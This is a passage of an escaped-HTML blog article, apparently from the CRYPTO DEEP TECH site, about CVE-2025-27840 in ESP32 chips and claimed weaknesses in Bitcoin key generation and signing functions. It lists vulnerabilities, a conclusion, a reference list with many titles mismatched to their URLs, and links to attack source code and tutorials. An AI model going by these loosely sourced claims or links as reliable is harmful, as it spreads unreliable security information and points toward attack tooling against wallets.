Function\u003ccode\u003eelectrum_sig_hash\u003c/code\u003e\u003c/strong\u003e\u0026nbsp;: Electrum’s use of a non-standard message hashing method makes it vulnerable to signature forgery attacks due to its incompatibility with BIP-137.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eFunction Vulnerability\u0026nbsp;\u003ccode\u003erandom_key\u003c/code\u003e(Weak PRNG in Key Generation)\u003c/strong\u003e\u0026nbsp;: The use of the\u0026nbsp;\u003ccode\u003erandom\u003c/code\u003ekey generation module in the Bitcoin network makes private keys predictable to attackers, since this module is not intended for cryptographic purposes.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eVulnerability in Function\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003e(Lack of ECC Curve Point Validation)\u003c/strong\u003e\u0026nbsp;: Insufficient validation of points in the ECC curve may allow an attacker to conduct invalid curve attacks, which may lead to forged signatures and network manipulation.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eVulnerability in the function\u003ccode\u003eecdsa_raw_sign\u003c/code\u003e\u003c/strong\u003e\u0026nbsp;: Incorrect restoration of the Y-coordinate can lead to the substitution of a public key in the Bitcoin network.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eFunction Vulnerability\u003ccode\u003ebin_ripemd160\u003c/code\u003e\u003c/strong\u003e\u0026nbsp;: Legacy hashing APIs, especially those lacking RIPEMD-160, may be vulnerable to attacks, highlighting the importance of using up-to-date cryptographic libraries and regular security updates.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-22.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5580\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eBenefits of identifying and fixing vulnerabilities\u003c/h2\u003e\n\n\n\n\u003col class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003ePreventing Financial Losses\u003c/strong\u003e\u0026nbsp;: Fixing vulnerabilities related to private keys and signature forgery helps prevent cryptocurrency users from losing funds.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eProtecting confidential data\u003c/strong\u003e\u0026nbsp;: Fixing vulnerabilities in ESP32 devices prevents unauthorized memory access and MAC address spoofing, which protects users’ confidential data.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eImproving Network Security\u003c/strong\u003e\u0026nbsp;: Fixing vulnerabilities in cryptographic functions such as\u0026nbsp;\u003ccode\u003erandom_key\u003c/code\u003eand\u0026nbsp;\u003ccode\u003eecdsa_raw_sign\u003c/code\u003eimproves the overall security of the Bitcoin network and prevents potential attacks on transactions and signatures.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eBuilding User Trust\u003c/strong\u003e\u0026nbsp;: Timely identification and remediation of vulnerabilities helps build user trust in devices and software, which is especially important in the cryptocurrency and IoT space.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eMaintaining Security Standards\u003c/strong\u003e\u0026nbsp;: Keeping cryptographic libraries and APIs up to date and following modern security standards helps prevent the use of outdated and vulnerable components.\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eConclusion\u003c/h2\u003e\n\n\n\n\u003cp\u003eThe vulnerability identification and analysis presented in this paper highlight the need for continuous monitoring and improvement of device and software security. Addressing these vulnerabilities not only prevents potential attacks and financial losses, but also helps to build user confidence and comply with security standards. Implementing robust protection mechanisms and regular security updates are key to ensuring safe and reliable operation of digital systems. The need to improve security in devices and networks such as the ESP32 is becoming increasingly urgent.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eReferences:\u003c/h2\u003e\n\n\n\n\u003col class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/12ib7dapvfvg82txkycwbnpn8kfyian1dr/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eRecommendations for Eliminating Vulnerabilities in Bitcoin Code and ESP32 Devices\u003c/a\u003e\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/12tkqa9xsoowkzoerhmwnkstey55yebqkv/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eWeaknesses in Bitcoin Implementation:\u003c/a\u003e\u0026nbsp;How Vulnerabilities in random_key and ecdsa_raw_sign Compromise Security\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/12tls9c9rsalt4ockxa1hb4itctsmxj2me\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eAnalysis of the has_invalid_privkey Function Vulnerability:\u003c/a\u003e\u0026nbsp;Problems with Bitcoin Private Key Verification and Recommendations for Correction\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/14yk4mzjgo5nkknnmvjeueaqftlt795gec/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ePublic Key Substitution:\u003c/a\u003e\u0026nbsp;Vulnerability of the ecdsa_raw_sign Function, Risks Associated with Y-Coordinate Recovery, Code Examples to Demonstrate the Vulnerability\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/15z5yjaansxeynvr6uw6jqzlwq3n1hu6rx\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin Security:\u003c/a\u003e\u0026nbsp;Examining Risks Associated with Incorrect ECC Verification and Obsolete Hashing APIs\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/167zwtt8n6s4ya8cgjqnnqjdwdgy31vmhg\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSecurity Risk Analysis:\u003c/a\u003e\u0026nbsp;Vulnerabilities in ESP32 Devices and the Bitcoin Network\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/18zultkqnljp987ldxuyvjekynnavxif2b\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eObsolete Hashing APIs in Bitcoin:\u003c/a\u003e\u0026nbsp;Vulnerabilities of the bin_ripemd160 Function\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/198amn6zyaczwre5nvntumyj5qkfy4g3hi\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eFake Updates and Access to Private Keys:\u003c/a\u003e\u0026nbsp;ESP32 Vulnerabilities and Their Consequences\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1aylzyn7sgu5fqlbtadbzqkm4b6udt6bw6\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin Security Risks:\u003c/a\u003e\u0026nbsp;Vulnerabilities in Key Verification and Transaction Generation Functions\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1bafwqhh9pnkz3mzdq1twrtkkshvckc3fv\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eProblems with Key Generation:\u003c/a\u003e\u0026nbsp;random_key Function Vulnerability, Weak Pseudo-Random Number Generator and its Consequences\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1beoudc6jthpitvpz3gr3lqnbgb7dkrrtc\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eShortcomings of Cryptographic Functions in Bitcoin and Potential Threats to the Network\u003c/a\u003e\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1cpazitqeeixposftjxu74udgbpeaotzom\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eAttacks on Elliptic Curve:\u003c/a\u003e\u0026nbsp;multiply Function Vulnerability, Insufficient Verification of Points on the ECC Curve, Possible Attack Vectors\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1dzje3anaklasy2n6e5toj4cqcxrvdvwsf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eThe Importance of Current Cryptographic Libraries and Regular Updates Conclusion:\u003c/a\u003e\u0026nbsp;The Need to Improve Security in Networks and Devices\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1f1miyfqwtzdlicbxthhnniw7wawpuccr\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ePotential Attacks Using Invalid Curves Public Key Substitution:\u003c/a\u003e\u0026nbsp;Vulnerability of the ecdsa_raw_sign Function\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1f34duy2eemz5msrvfepvzy7y1rbsnaywc\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eRecommendations for Eliminating Vulnerabilities and Improving Protection Each title reflects key aspects of the article and can be used to structure the research\u003c/a\u003e\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1feexv6bahb8ybzjqqmjjrccrhgw9sb6uf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eWeak PRNG in Bitcoin Key Generation:\u003c/a\u003e\u0026nbsp;Consequences of Using a Non-Deterministic random_key\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1fjuzzqfvmbimgw6jtcxefdd64amy7mscf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eAnalysis of Vulnerability CVE-2025-27840:\u003c/a\u003e\u0026nbsp;How Architectural Flaws Can Threaten Billions of Devices Vulnerability of the has_invalid_privkey Function\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1hlvats3zr3oev9ya7pzp3gb9gqfg6xyjt\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eImpact of Vulnerabilities in ESP32 Microcontrollers on the Security of IoT Devices\u003c/a\u003e\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1jxmkknk1b3p7r8ddptnnmgelzdcgpadjb\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eMethods for Exploiting Vulnerabilities in ESP32 Microcontrollers:\u003c/a\u003e\u0026nbsp;Attacks via Bluetooth and Wi-Fi\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1kbrskrt3geerutuuyyusq35jwkbrawjym\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eHidden Vulnerabilities in ESP32 and Their Impact on the Security of IoT Devices\u003c/a\u003e\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1lbbmkr9muf7rjjbbzqqvznqprravenavs\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSecurity Issues in ESP32 Devices:\u003c/a\u003e\u0026nbsp;Disclosure of Vulnerability CVE-2025-27840\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1ldrcdxfbsnmcyyndeypunztiyzvfbeqec\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eESP32 Architectural Vulnerabilities:\u003c/a\u003e\u0026nbsp;Revealing Hidden Commands and Their Impact on IoT Security\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1p1ithxbh542gmk1kznxyji4e4iwpvsbrt\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVulnerabilities in Bitcoin Code:\u003c/a\u003e\u0026nbsp;Technical Analysis and Exploitation Methods\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1peizmg76cf96nuqryg8xuozwlqozu5zgw\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eAnalysis of Vulnerabilities in Bitcoin:\u003c/a\u003e\u0026nbsp;From Cryptographic Shortcomings to Obsolete APIs\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/1ucxxzqsef4zny2hrwaqktvpklptukrtt\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eCVE-2025-27840 Vulnerabilities in ESP32 Microcontrollers:\u003c/a\u003e\u0026nbsp;Exposing Billions of IoT Devices to Risk\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://bitoncoin.org/dockeyhunt-%EA%B0%9C%EC%9D%B8-%ED%82%A4-%EA%B3%84%EC%82%B0%EA%B8%B0\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eNon-Standard Hashing Methods and Their Vulnerabilities Problems with Key Generation:\u003c/a\u003e\u0026nbsp;random_key Vulnerability\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://cryptodeeptech.ru/lattice-attack-249bits\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLack of ECC Point Verification as a Potential Vulnerability in the Bitcoin multiply Function\u003c/a\u003e\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://cryptodeeptech.ru/signature-malleability\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eRisks of Recovering the Y-Coordinate in Elliptic-Curve Cryptography Obsolete Hashing APIs:\u003c/a\u003e\u0026nbsp;bin_ripemd160 Function Vulnerability\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://cryptodeeptech.ru/blockchain-attack-vectors\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVulnerability in the ecdsa_raw_sign Function:\u003c/a\u003e\u0026nbsp;Risk of Public Key Substitution During Y-Coordinate Recovery\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://cryptodeeptech.ru/twist-attack\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eHidden Vulnerabilities:\u003c/a\u003e\u0026nbsp;A Threat to Modern Technologies CVE-2025-27840: Overview of Vulnerabilities in the ESP32 Architecture\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://cryptodeeptech.ru/rowhammer-attack\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eOverview of Current Security Threats Hidden List of Vulnerabilities:\u003c/a\u003e\u0026nbsp;Potential Risks for ESP32 Implementation of Fake Updates and Low-Level Access\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://cryptodeeptech.ru/whitebox-attack\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eProblems with Private Key Verification and Their Consequences Forgery of Transaction Signatures:\u003c/a\u003e\u0026nbsp;electrum_sig_hash Vulnerability\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://club.dns-shop.ru/digest/139788-v-mikrokontrollere-espressif-esp32-obnarujen-skryityii-bekdor-po\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVulnerability of Bitcoin Transaction Signature Forgery Due to Non-Standard Hashing in Electrum\u003c/a\u003e\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://github.com/svtrostov/oclexplorer/issues/6\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eRisks of Using Unreliable PRNGs in Bitcoin Insufficient ECC Point Verification:\u003c/a\u003e\u0026nbsp;multiply Function Vulnerability\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://hightech.plus/2025/03/10/millioni-umnih-ustroistv-pod-ugrozoi-iz-za-uyazvimosti-v-bluetooth-chipe\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eOverview of Vulnerabilities in Bitcoin:\u003c/a\u003e\u0026nbsp;Potential Risks for Private Keys and Transactions\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://proglib.io/p/new-bitcoin\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eCritical Security Analysis of ESP32 and Bitcoin:\u003c/a\u003e\u0026nbsp;Vulnerabilities and Methods of Protection\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://securitymedia.org/news/v-chipakh-esp32-nashli-skrytye-komandy-kotorye-otkryvayut-dostup-k-ustroystvam.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eObsolete Hashing APIs:\u003c/a\u003e\u0026nbsp;bin_ripemd160 Function Vulnerability Problems with RIPEMD-160 Implementation Importance of Current Cryptographic Libraries\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://www.bleepingcomputer.com/news/security/undocumented-commands-found-in-bluetooth-chip-used-by-a-billion-devices\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVulnerability of the electrum_sig_hash Function:\u003c/a\u003e\u0026nbsp;Bitcoin Transaction Signature Forgery Non-Standard Hashing Method and its Consequences Examples of Attacks Based on Incompatibility with BIP-137\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://www.cnews.ru/news/top/2025-03-11_nezadokumentirovannye_komandy\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eAnalysis of Vulnerabilities in Bitcoin Implementation:\u003c/a\u003e\u0026nbsp;From Key Generation to Signature Forgery\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://www.forbes.com/sites/daveywinder/2025/03/10/identity-theft-warning-hidden-commands-in-1-billion-bluetooth-chips\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eCVE-2025-27840:\u003c/a\u003e\u0026nbsp;Vulnerability in ESP32, Allowing Unauthorized Firmware Updates and Access to Private Keys\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003ca href=\"https://www.securitylab.ru/news/557149.php\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVulnerability in Bitcoin Private Key Verification:\u003c/a\u003e\u0026nbsp;Bypassing Lower Bound Control\u003c/em\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003ca href=\"https://dzen.ru/video/watch/6784be61b09e46422395c236\" target=\"_blank\" rel=\" noreferrer noopener\"\u003e\u003cimg loading=\"lazy\" decoding=\"async\" width=\"511\" height=\"441\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-13(1).png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi \u0026amp; Bluetooth\" class=\"wp-image-3295\" srcset=\"https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-13.png 511w, https://cryptodeeptech.ru/wp-content/uploads/2025/03/image-13-300x259.png 300w\" sizes=\"auto, (max-width: 511px) 100vw, 511px\"\u003e\u003c/a\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eThis material was created for the\u0026nbsp;\u0026nbsp;\u003ca href=\"https://cryptodeeptech.ru/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eCRYPTO DEEP TECH\u003c/a\u003e\u0026nbsp;portal \u0026nbsp;to ensure financial data security and cryptography on elliptic curves\u0026nbsp;\u0026nbsp;\u003ca href=\"https://www.youtube.com/@cryptodeeptech\" target=\"_blank\" rel=\"noreferrer noopener\"\u003esecp256k1\u003c/a\u003e\u0026nbsp;\u0026nbsp;against weak\u0026nbsp;\u0026nbsp;\u003ca href=\"https://github.com/demining/CryptoDeepTools\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eECDSA\u003c/a\u003e\u0026nbsp;signatures \u0026nbsp;in the\u0026nbsp;\u0026nbsp;\u003ca href=\"https://t.me/cryptodeeptech\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBITCOIN\u003c/a\u003e\u0026nbsp;cryptocurrency . The creators of the software are not responsible for the use of materials.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/tree/main/39BluetoothAttacks\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSource code\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://colab.research.google.com/drive/15lPDHeTo7FkrPY7v4qS7X6hO4x27qT2Y\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eGoogle Colab\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://bitcoinchatgpt.org/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoinChatGPT\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://dustattack.org/small-subgroup-attack\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSmall Subgroup Attack\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://dockeyhunt.com/dockeyhunt-deep-learning\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eDockeyhunt Deep Learning\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://t.me/cryptodeeptech\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eTelegram: https://t.me/cryptodeeptech\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://youtu.be/nBeZWm2z5o4\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVideo material: https://youtu.be/nBeZWm2z5o4\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://dzen.ru/video/watch/6784be61b09e46422395c236\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVideo tutorial: https://dzen.ru/video/watch/6784be61b09e46422395c236\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeeptech.ru/bitcoin-bluetooth-attacks\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSource: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/061-1024x576.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5537\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\t\u003c/div\u003e\u003c!-- .entry-content --\u003e\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdemining%2Fbluetooth-attacks-cve-2025-27840","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdemining%2Fbluetooth-attacks-cve-2025-27840","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdemining%2Fbluetooth-attacks-cve-2025-27840/lists"}